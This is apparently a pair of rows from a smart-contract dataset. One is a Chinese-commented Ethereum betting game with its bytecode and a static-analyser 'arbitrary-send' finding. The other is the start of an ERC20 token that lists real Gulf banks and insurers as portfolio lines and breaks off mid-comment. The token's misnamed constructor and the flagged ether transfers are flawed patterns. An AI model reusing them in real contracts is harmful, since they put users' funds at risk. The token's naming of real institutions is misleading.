// 新价格必须是在前一次出价+0.1到10eth之间
uint256 _lastPrice = round_m[_rndNo].lastPrice;
uint256 _maxPrice = (10000000000000000000).add(_lastPrice);
// less than (lastPrice + 0.1Ether) ?
// 出价必须大于最后一次出价至少0.1eth
require(_eth >= (100000000000000000).add(_lastPrice), "Need more Ether");
// more than (lastPrice + 10Ether) ?
// 检查出价是否已经超过最后一次出价10eth
if (_eth > _maxPrice)
{
_ethUse = _maxPrice;
// 出价大于10eth部分自动退款
msg.sender.transfer(_eth.sub(_ethUse));
}
// 更新这一局信息
round_m[_rndNo].endTime = _now + rndSecStage_;
round_m[_rndNo].leader = msg.sender;
round_m[_rndNo].lastPrice = _ethUse;
// 更新玩家信息
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// 更新这一局的eth总量
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// 更新全局eth总量
totalEth = _ethUse.add(totalEth);
// 触发第二阶段成为赢家事件
emit FlyToTheMarsEvents.onSecStage
(
msg.sender,
_rndNo,
_ethUse,
_now
);
}
}
/**
* 根据游戏轮数提现
*/
function withdrawByRndNo(uint256 _rndNo)
onlyHuman()
public
{
require(_rndNo <= rndNo, "You're running too fast"); //别这么急,下一轮游戏再来领
//计算60%能提现的量
uint256 _total = (((round_m[_rndNo].eth).mul(playerRound_m[_rndNo][msg.sender].keys)).mul(60) / ((round_m[_rndNo].keys).mul(100)));
uint256 _withdrawed = playerRound_m[_rndNo][msg.sender].withdraw;
require(_total > _withdrawed, "No need to withdraw"); //提完了就不要再提了
uint256 _ethOut = _total.sub(_withdrawed); //计算本次真实能提数量
playerRound_m[_rndNo][msg.sender].withdraw = _total; //记录下来,下次再想提就没门了
msg.sender.transfer(_ethOut); //说了这么多,转钱吧
// 发送玩家提现事件
emit FlyToTheMarsEvents.onWithdraw
(
msg.sender,
_rndNo,
_ethOut,
now
);
}
/**
* 这个是要领大奖啊,指定游戏轮数
*/
function awardByRndNo(uint256 _rndNo)
onlyHuman()
public
{
require(_rndNo <= rndNo, "You're running too fast"); //别这么急,下一轮游戏再来领
require(now > round_m[_rndNo].endTime, "Wait patiently"); //还没结束呢,急什么急
require(round_m[_rndNo].leader == msg.sender, "The prize is not yours"); //对不起,眼神不对
require(round_m[_rndNo].award == false, "Can't get prizes repeatedly"); //你还想重复拿么?没门
uint256 _ethOut = ((round_m[_rndNo].eth).mul(35) / (100)); //计算那一轮游戏中的35%的资金
round_m[_rndNo].award = true; //标记已经领了,可不能重复领了
msg.sender.transfer(_ethOut); //转账,接好了
// 发送领大奖事件
emit FlyToTheMarsEvents.onAward
(
msg.sender,
_rndNo,
_ethOut,
now
);
}
/**
* 合约所有者提现,可分次提,最多为总资金盘5%
* 任何人都可以执行,但是只有合约的所有人收到款
*/
function feeWithdraw()
onlyHuman()
public
{
uint256 _total = (totalEth.mul(5) / (100)); //当前总量的5%
uint256 _withdrawed = ownerWithdraw; //已经提走的数量
require(_total > _withdrawed, "No need to withdraw"); //如果已经提走超过了量那么不能再提
ownerWithdraw = _total; //更改所有者已经提走的量,因为合约方法本身都是事务保护的,所以先执行也没问题
owner.transfer(_total.sub(_withdrawed)); //给合约所有者转账
}
/**
* 更改合约所有者,只有合约创建者可以调用
*/
function changeOwner(address newOwner)
onlyOwner()
public
{
owner = newOwner;
}
/**
* 获取当前这轮游戏的信息
*
* @return round id
* @return total eth for round
* @return total keys for round
* @return time round started
* @return time round ends
* @return current leader
* @return lastest price
* @return current key price
*/
function getCurrentRoundInfo()
public
view
returns (uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
uint256 _rndNo = rndNo;
return (
_rndNo,
round_m[_rndNo].eth,
round_m[_rndNo].keys,
round_m[_rndNo].startTime,
round_m[_rndNo].endTime,
round_m[_rndNo].leader,
round_m[_rndNo].lastPrice,
getBuyPrice()
);
}
/**
* 获取这轮游戏的第一阶段的购买价格
*
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns (uint256)
{
uint256 _rndNo = rndNo;
uint256 _now = now;
// start next round?
if (_now > round_m[_rndNo].endTime)
{
return (75000000000000);
}
if (round_m[_rndNo].keys < 10000000000000000000000000)
{
return ((round_m[_rndNo].keys.add(1000000000000000000)).ethRec(1000000000000000000));
}
//second stage
return (0);
}
}
// key计算
library KeysCalc {
//引入数学函数
using SafeMath for *;
/**
* 计算收到一定eth时卖出的key数量
*
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return (keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* 计算出售一定key时收到的eth数量
*
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return ((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* 计算一定数量的eth会兑换多少key
*
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns (uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* 计算给定key数的情况下eth数量
*
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns (uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
/**
* 数学函数库
*
* @dev Math operations with safety checks that throw on error
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* 乘法
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* 减法
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* 加法
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* 平方根
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x, 1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z), z)) / 2);
}
}
/**
* 平方
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x, x));
}
/**
* 乘法递增
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x == 0)
return (0);
else if (y == 0)
return (1);
else
{
uint256 z = x;
for (uint256 i = 1; i < y; i++)
z = mul(z, x);
return (z);
}
}
} | 0x6080604052600436106100b95763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461070c5780633c28308a146107335780633c3c9c23146107485780634311de8f1461075d578063528ce7de146107725780636561e6ba1461078c578063747dff42146107a15780637e8ac5901461080057806380ec35ff1461085b5780638da5cb5b14610873578063a05ce940146108a4578063a6f9dae1146108e6575b600080808080808033803b8015610108576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b34633b9aca0081101561018b576040805160e560020a62461bcd02815260206004820152602160248201527f706f636b6574206c696e743a206e6f7420612076616c69642063757272656e6360448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b69152d02c7e14af68000008111156101ed576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f20766974616c696b2c206e6f000000000000000000000000000000000000604482015290519081900360640190fd5b600080548082526002602052604090912060030154349b50429a509098508a975089111561024e5761022688600163ffffffff61090716565b60008181558181526002602081905260409091209081018b905561a8c08b0160039091015597505b6000888152600260205260409020600101546a084595161401484a000000111561051157600088815260026020526040902054610291908b63ffffffff61096816565b6000898152600260205260409020600101549096506a084595161401484a000000906102c490889063ffffffff61090716565b1061039d576000888152600260205260409020600101546102f7906a084595161401484a0000009063ffffffff6109a116565b6000898152600260205260409020549096506901d02c8edfee423a000011610322576000965061034f565b60008881526002602052604090205461034c906901d02c8edfee423a00009063ffffffff6109a116565b96505b868a111561039957336108fc61036b8c8a63ffffffff6109a116565b6040518115909202916000818181858888f19350505050158015610393573d6000803e3d6000fd5b5061039d565b8996505b670de0b6b3a764000086106103e557600088815260026020526040902061a8c08a016003820155600401805473ffffffffffffffffffffffffffffffffffffffff1916331790555b600088815260036020908152604080832033845290915290206001015461041390879063ffffffff61090716565b60008981526003602090815260408083203384529091529020600181019190915554610440908890610907565b60008981526003602090815260408083203384528252808320939093558a825260029052206001015461047a90879063ffffffff61090716565b60008981526002602052604090206001810191909155546104a290889063ffffffff61090716565b6000898152600260205260409020556001546104c590889063ffffffff61090716565b60015560408051878152602081018990528082018b90529051899133917f34bcf67c3ef69ce65c0a8a1a121ab672129441005fea1eb1f65693816fad1d0e9181900360600190a3610700565b600088815260026020526040902060050154945061053d678ac7230489e800008663ffffffff61090716565b935061055767016345785d8a00008663ffffffff61090716565b8a10156105ae576040805160e560020a62461bcd02815260206004820152600f60248201527f4e656564206d6f72652045746865720000000000000000000000000000000000604482015290519081900360640190fd5b838a11156105f9579295508592336108fc6105cf8c8763ffffffff6109a116565b6040518115909202916000818181858888f193505050501580156105f7573d6000803e3d6000fd5b505b600088815260026020908152604080832061a8c08d0160038083019190915560048201805473ffffffffffffffffffffffffffffffffffffffff19163390811790915560059092018c9055835281842090845290915290205461066390889063ffffffff61090716565b60008981526003602090815260408083203384528252808320939093558a825260029052205461069a90889063ffffffff61090716565b6000898152600260205260409020556001546106bd90889063ffffffff61090716565b60015560408051888152602081018b905281518a9233927f267ac6ebc3d6b413782aeb4a2994e39edc25b4725f251588f7ffa8910337e4bf929081900390910190a35b50505050505050505050005b34801561071857600080fd5b50610721610a01565b60408051918252519081900360200190f35b34801561073f57600080fd5b50610721610a9d565b34801561075457600080fd5b50610721610aa3565b34801561076957600080fd5b50610721610aa9565b34801561077e57600080fd5b5061078a600435610aaf565b005b34801561079857600080fd5b5061078a610ce9565b3480156107ad57600080fd5b506107b6610e07565b6040805198895260208901979097528787019590955260608701939093526080860191909152600160a060020a031660a085015260c084015260e083015251908190036101000190f35b34801561080c57600080fd5b50610818600435610e73565b604080519788526020880196909652868601949094526060860192909252600160a060020a0316608085015260a0840152151560c0830152519081900360e00190f35b34801561086757600080fd5b5061078a600435610ebd565b34801561087f57600080fd5b50610888611161565b60408051600160a060020a039092168252519081900360200190f35b3480156108b057600080fd5b506108c8600435600160a060020a0360243516611170565b60408051938452602084019290925282820152519081900360600190f35b3480156108f257600080fd5b5061078a600160a060020a036004351661119c565b81810182811015610962576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b600061099a6109768461122d565b61098e610989868663ffffffff61090716565b61122d565b9063ffffffff6109a116565b9392505050565b6000828211156109fb576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b60008054808252600260205260408220600301544290811115610a2c576544364c5bb0009250610a98565b6000828152600260205260409020600101546a084595161401484a0000001115610a9357600082815260026020526040902060010154610a8c90670de0b6b3a764000090610a80908263ffffffff61090716565b9063ffffffff6112b116565b9250610a98565b600092505b505090565b60005481565b60015481565b60055481565b6000808033803b8015610afa576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b600054861115610b54576040805160e560020a62461bcd02815260206004820152601760248201527f596f752772652072756e6e696e6720746f6f2066617374000000000000000000604482015290519081900360640190fd5b600086815260026020526040902060010154610b7790606463ffffffff6112d716565b60008781526003602090815260408083203384528252808320600101548a8452600290925290912054610bc291603c91610bb69163ffffffff6112d716565b9063ffffffff6112d716565b811515610bcb57fe5b600088815260036020908152604080832033845290915290206002015491900495509350838511610c46576040805160e560020a62461bcd02815260206004820152601360248201527f4e6f206e65656420746f20776974686472617700000000000000000000000000604482015290519081900360640190fd5b610c56858563ffffffff6109a116565b6000878152600360209081526040808320338085529252808320600201899055519295509185156108fc0291869190818181858888f19350505050158015610ca2573d6000803e3d6000fd5b50604080518481524260208201528151889233927f90ebb005d68efee044927e1e77e1fd0cecc508368aa72c39250a787eed5f0a70929081900390910190a3505050505050565b60008033803b8015610d33576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b600154606490610d4a90600563ffffffff6112d716565b811515610d5357fe5b04935060055492508284111515610db4576040805160e560020a62461bcd02815260206004820152601360248201527f4e6f206e65656420746f20776974686472617700000000000000000000000000604482015290519081900360640190fd5b6005849055600454600160a060020a03166108fc610dd8868663ffffffff6109a116565b6040518115909202916000818181858888f19350505050158015610e00573d6000803e3d6000fd5b5050505050565b600080548082526002602081905260408320805460018201549282015460038301546004840154600590940154879687968796879687968796879686959394600160a060020a031690610e58610a01565b98509850985098509850985098509850509091929394959697565b6002602081905260009182526040909120805460018201549282015460038301546004840154600585015460069095015493959492939192600160a060020a039091169160ff1687565b600033803b8015610f06576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b600054841115610f60576040805160e560020a62461bcd02815260206004820152601760248201527f596f752772652072756e6e696e6720746f6f2066617374000000000000000000604482015290519081900360640190fd5b6000848152600260205260409020600301544211610fc8576040805160e560020a62461bcd02815260206004820152600e60248201527f576169742070617469656e746c79000000000000000000000000000000000000604482015290519081900360640190fd5b600084815260026020526040902060040154600160a060020a03163314611039576040805160e560020a62461bcd02815260206004820152601660248201527f546865207072697a65206973206e6f7420796f75727300000000000000000000604482015290519081900360640190fd5b60008481526002602052604090206006015460ff16156110a3576040805160e560020a62461bcd02815260206004820152601b60248201527f43616e277420676574207072697a65732072657065617465646c790000000000604482015290519081900360640190fd5b6000848152600260205260409020546064906110c690602363ffffffff6112d716565b8115156110cf57fe5b600086815260026020526040808220600601805460ff1916600117905551929091049450339185156108fc0291869190818181858888f1935050505015801561111c573d6000803e3d6000fd5b50604080518481524260208201528151869233927f067aa1d7e7bd2c0daf878a68551cbd9e1a4dbaaa1510600154c71bffbe420d86929081900390910190a350505050565b600454600160a060020a031681565b600360209081526000928352604080842090915290825290208054600182015460029092015490919083565b600454600160a060020a031633146111fe576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79206f776e65722063616e20646f206974000000000000000000000000604482015290519081900360640190fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006309502f906112a16d03b2a1d15167e7c5699bfde0000061098e61129c7a0dac7055469777a6122ee4310dd6c14410500f29048400000000006112906b01027e72f1f1281308800000610bb68a670de0b6b3a764000063ffffffff6112d716565b9063ffffffff61090716565b61134e565b8115156112aa57fe5b0492915050565b600061099a6112ce6112c9858563ffffffff6109a116565b6113a7565b61098e856113a7565b60008215156112e857506000610962565b508181028183828115156112f857fe5b0414610962576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b600080600261135e846001610907565b81151561136757fe5b0490508291505b818110156113a1578091506002611390828581151561138957fe5b0483610907565b81151561139957fe5b04905061136e565b50919050565b60006113ba670de0b6b3a7640000611414565b6112a160026113ed6113da86670de0b6b3a764000063ffffffff6112d716565b65886c8f6730709063ffffffff6112d716565b8115156113f657fe5b0461129061140386611414565b6304a817c89063ffffffff6112d716565b600061096282836112d75600736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820d7ae56cffc2d91fdd702aa0df98812c03b5b8395aee7ce2f862b2bde72973e490029 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,856 |
0xdc8e17197f69de08f3c2792e4e33a2247481b41c | pragma solidity ^0.4.21 ;
contract DUBAI_Portfolio_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " DUBAI_Portfolio_I_883 " ;
string public symbol = " DUBAI883I " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 728002043355369000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DUBAI_Portfolio_I_metadata_line_1_____AJMAN_BANK_20250515 >
// < hU1zJfAXIWjwRzQjUIScl4o8bq7axH6HuBDtiGTA019b7oj61f5kl4696PW83S71 >
// < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000015884741.083761000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000000000183CFA >
// < DUBAI_Portfolio_I_metadata_line_2_____AL_SALAM_BANK_SUDAN_20250515 >
// < 17aFYFQ9CA4SOK0902m34ul7ucv4VLQA7cAR72zAxTdG265k7AnJ5mep6RUfDuBJ >
// < u =="0.000000000000000001" : ] 000000015884741.083761000000000000 ; 000000032229705.695558200000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000183CFA312DBB >
// < DUBAI_Portfolio_I_metadata_line_3_____Amlak_Finance_20250515 >
// < V83Tsv22iNFkOrBA3D5U7jIA6cJKFb2e1qMTHct8247Wh5x6Y2t3wL8CjA5fQQdR >
// < u =="0.000000000000000001" : ] 000000032229705.695558200000000000 ; 000000049089220.940360200000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000312DBB4AE77A >
// < DUBAI_Portfolio_I_metadata_line_4_____Commercial_Bank_Dubai_20250515 >
// < qUju69Sx8gMl6OkjbtMkUItcls3LKlv685Dfa6ulBiQciq6U16poLhbAC3gZ611Y >
// < u =="0.000000000000000001" : ] 000000049089220.940360200000000000 ; 000000068091782.527806200000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000004AE77A67E65A >
// < DUBAI_Portfolio_I_metadata_line_5_____Dubai_Islamic_Bank_20250515 >
// < C7KoV79oZ8H6SAQEo25AofOM0UL4Wn90au54EN7gqZ49lB6Zm1ry6a6c2AE4ZONG >
// < u =="0.000000000000000001" : ] 000000068091782.527806200000000000 ; 000000087470978.004263900000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000067E65A85785A >
// < DUBAI_Portfolio_I_metadata_line_6_____Emirates_Islamic_Bank_20250515 >
// < 7rN94JK4sOb7NGC86JU49Xuh7En2gss8bD2J45V1KsuZeEf4iU1cCCbsWgv3GhmH >
// < u =="0.000000000000000001" : ] 000000087470978.004263900000000000 ; 000000106997977.181169000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000085785AA34416 >
// < DUBAI_Portfolio_I_metadata_line_7_____Emirates_Investment_Bank_20250515 >
// < Jgp0QI6C7OKSGJ8Z6N1fmQ2Z9Vse0rP274ezlcf0Aw4r9xPLxdBsWlq50Ev9p5hl >
// < u =="0.000000000000000001" : ] 000000106997977.181169000000000000 ; 000000128630093.592656000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000A34416C44621 >
// < DUBAI_Portfolio_I_metadata_line_8_____Emirates_NBD_20250515 >
// < dc0Y668z2toyy6N8eT2QhKGmjh3P9YALc88654xY56D1mTvAY1y6SDKxZpbb3CNi >
// < u =="0.000000000000000001" : ] 000000128630093.592656000000000000 ; 000000148482651.177864000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000C44621E29109 >
// < DUBAI_Portfolio_I_metadata_line_9_____Gulf_Finance_House_BSC_20250515 >
// < NV9L14h25w61rSg9X9zQDFwy3e7gOu6msP2r2949VmDhJ61fzo9ggNu70wgodwgJ >
// < u =="0.000000000000000001" : ] 000000148482651.177864000000000000 ; 000000166024168.285934000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000E29109FD5531 >
// < DUBAI_Portfolio_I_metadata_line_10_____Mashreqbank_20250515 >
// < b1qf4nM067k5B0WSoo7wshTv2h1grIOR8ra5A8xKb8ba8Ftoo4uO5zO5bcG5BH3Z >
// < u =="0.000000000000000001" : ] 000000166024168.285934000000000000 ; 000000181090929.627096000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000FD553111452A5 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DUBAI_Portfolio_I_metadata_line_11_____Al_Salam_Bank_Bahrain_20250515 >
// < 9qcbUt0742le3FI3SDqDZc281rNM6nRV9Tgn6uOyNz9mP1sOm7U6mdHY1s42dUSd >
// < u =="0.000000000000000001" : ] 000000181090929.627096000000000000 ; 000000201064086.828041000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000011452A5132CCA9 >
// < DUBAI_Portfolio_I_metadata_line_12_____Almadina_Finance_Investment_20250515 >
// < 3H6E0f64Nrl2wS84a41EU74v4M6e50Mm8O3KhW9zKMWtQVfVXlbaH0ZD02uiY3qj >
// < u =="0.000000000000000001" : ] 000000201064086.828041000000000000 ; 000000219910587.516598000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000132CCA914F8E93 >
// < DUBAI_Portfolio_I_metadata_line_13_____Al_Salam_Group_Holding_20250515 >
// < 11T8O4S7kL062mgfNaHVj1Jul8Aep7d6pgFGRfoH7H8zq2MBzk503lJ7JTpp4pgT >
// < u =="0.000000000000000001" : ] 000000219910587.516598000000000000 ; 000000236706596.542813000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000014F8E931692F84 >
// < DUBAI_Portfolio_I_metadata_line_14_____Dubai_Financial_Market_20250515 >
// < uAFlkA36REFbTmSIiAdy3506KdOr51okG3tGVZjDm0r8PawduO933AFNYY1c9wn2 >
// < u =="0.000000000000000001" : ] 000000236706596.542813000000000000 ; 000000254619021.069807000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001692F84184848E >
// < DUBAI_Portfolio_I_metadata_line_15_____Dubai_Investments_20250515 >
// < 6j92OsXVYJ1l6U92UvJgrT5085Km60aNuDmNrGUo2wmJ2fGzzodsd0R1lKLYd95o >
// < u =="0.000000000000000001" : ] 000000254619021.069807000000000000 ; 000000273019373.496874000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000184848E1A09831 >
// < DUBAI_Portfolio_I_metadata_line_16_____Ekttitab_Holding_Company_KSCC_20250515 >
// < K8Uz43p03ZRnsM1I1El5l3FOWnAU2UL50ofgWD9Evb1cen5H0cUmLc39dX9rj026 >
// < u =="0.000000000000000001" : ] 000000273019373.496874000000000000 ; 000000289417875.000936000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001A098311B99DDC >
// < DUBAI_Portfolio_I_metadata_line_17_____Gulf_General_Investments_Company_20250515 >
// < lzt1mh1llK1Q9o9vqKWGwq40eMl57QjE92hs9V143a0GSW1E05C48hBvXeShZe6J >
// < u =="0.000000000000000001" : ] 000000289417875.000936000000000000 ; 000000307179615.891649000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001B99DDC1D4B80A >
// < DUBAI_Portfolio_I_metadata_line_18_____International_Financial_Advisors_KSCC_20250515 >
// < tP1j5nLD1kSaQT5q80bu54TH699s4Jlr9oVDz6Y283K7MoY9P3q048QfAUBot3sJ >
// < u =="0.000000000000000001" : ] 000000307179615.891649000000000000 ; 000000323823077.061058000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001D4B80A1EE1D64 >
// < DUBAI_Portfolio_I_metadata_line_19_____SHUAA_Capital_20250515 >
// < S5toJup3HvP9lOX9U8vDvbI52NVjMFj8ZBaZ0fb4v48CxvsikOWQ7gFR8jozIFU1 >
// < u =="0.000000000000000001" : ] 000000323823077.061058000000000000 ; 000000340399977.520851000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001EE1D6420768BE >
// < DUBAI_Portfolio_I_metadata_line_20_____Alliance_Insurance_20250515 >
// < 16tFUCxP9z56o56qEP4d9DpOo12O5v43dOuDdZOIF9y2DV2wz12EYSRRSac0yD4u >
// < u =="0.000000000000000001" : ] 000000340399977.520851000000000000 ; 000000357401143.902088000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000020768BE22159D2 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DUBAI_Portfolio_I_metadata_line_21_____Dubai_Islamic_Insurance_Reinsurance_Co_20250515 >
// < Ni1yj387aR192u9HPN00pvqzg4enG5LZ0oNst39961slyNHKscdK470agBRt3iCM >
// < u =="0.000000000000000001" : ] 000000357401143.902088000000000000 ; 000000375154906.591838000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000022159D223C70E3 >
// < DUBAI_Portfolio_I_metadata_line_22_____Arab_Insurance_Group_20250515 >
// < Bv985pP18xveBi1B932C9wtp2WoN0gNU5nM7x84lXw956S7X7U3t9BLCtjWzyExF >
// < u =="0.000000000000000001" : ] 000000375154906.591838000000000000 ; 000000392325538.991759000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000023C70E3256A42A >
// < DUBAI_Portfolio_I_metadata_line_23_____Arabian_Scandinavian_Insurance_20250515 >
// < qR6ygvkxcKIMgf1nv2OjY5443PwX398dMscw07K17J9df3j7D7EAnTV52b7af8P4 >
// < u =="0.000000000000000001" : ] 000000392325538.991759000000000000 ; 000000408068775.109931000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000256A42A26EA9DE >
// < DUBAI_Portfolio_I_metadata_line_24_____Al_Sagr_National_Insurance_Company_20250515 >
// < n2wn10DZWnFK7x51f67xoOH08Q9oP7jChMEeM6LUa7ScseH8zv9xFuZAQ5Z5H3p8 >
// < u =="0.000000000000000001" : ] 000000408068775.109931000000000000 ; 000000427466309.604087000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000026EA9DE28C4307 >
// < DUBAI_Portfolio_I_metadata_line_25_____Takaful_House_20250515 >
// < 6IGcy1yy61hb6zPZa15c18ZM7eYHFe4xR9ZKoL3779fl3qHmF3n113kPgI5DCf7X >
// < u =="0.000000000000000001" : ] 000000427466309.604087000000000000 ; 000000446074474.416661000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000028C43072A8A7D7 >
// < DUBAI_Portfolio_I_metadata_line_26_____Dubai_Insurance_Co_20250515 >
// < 119X5jFvluZlpeZbBncK0LlpeL5gzbVpU1W7Y0LS8IH91FrG91vQ8ylH1Yb8oD8K >
// < u =="0.000000000000000001" : ] 000000446074474.416661000000000000 ; 000000467318875.367803000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000002A8A7D72C91270 >
// < DUBAI_Portfolio_I_metadata_line_27_____Dubai_National_Insurance_Reinsurance_20250515 >
// < QS08Q002ksrpV138t16vm9PPqjP685d2uV6qI37ubxd9C04ZCU59pVJ1724VWRd0 >
// < u =="0.000000000000000001" : ] 000000467318875.367803000000000000 ; 000000487222689.531227000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000002C912702E7715D >
// < DUBAI_Portfolio_I_metadata_line_28_____National_General_Insurance_Company_20250515 >
// < Zd7z6d719i7nP8Ojfi5Hv9MG4yNDDuT5J92k2oCR6ApxRj5gX9vj0X686KLG91uG >
// < u =="0.000000000000000001" : ] 000000487222689.531227000000000000 ; 000000505364361.034325000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000002E7715D3031FF4 >
// < DUBAI_Portfolio_I_metadata_line_29_____Oman_Insurance_Company_20250515 >
// < JAjRd29ZC9NJdJs2BAybBuwjK9S5Sl8R84ZLN7TG5T00GAPc70iu52Ch9f4FN1gc >
// < u =="0.000000000000000001" : ] 000000505364361.034325000000000000 ; 000000527065625.946488000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003031FF43243D03 >
// < DUBAI_Portfolio_I_metadata_line_30_____ORIENT_Insurance_20250515 >
// < 3rm72307dFqy6I9rsdy9v2D64Jsc2YN8NY1kiEqw1aqSCW9AXUx8R47iaxK2y4pP >
// < u =="0.000000000000000001" : ] 000000527065625.946488000000000000 ; 000000547998796.510605000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003243D033442E08 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DUBAI_Portfolio_I_metadata_line_31_____Islamic_Arab_Insurance_Company_20250515 >
// < R87R6f1o3Ao0dMab8CRn1x667z1y32Al3735wQIW8ob6GRn8ZwgTt436F91hkkrS >
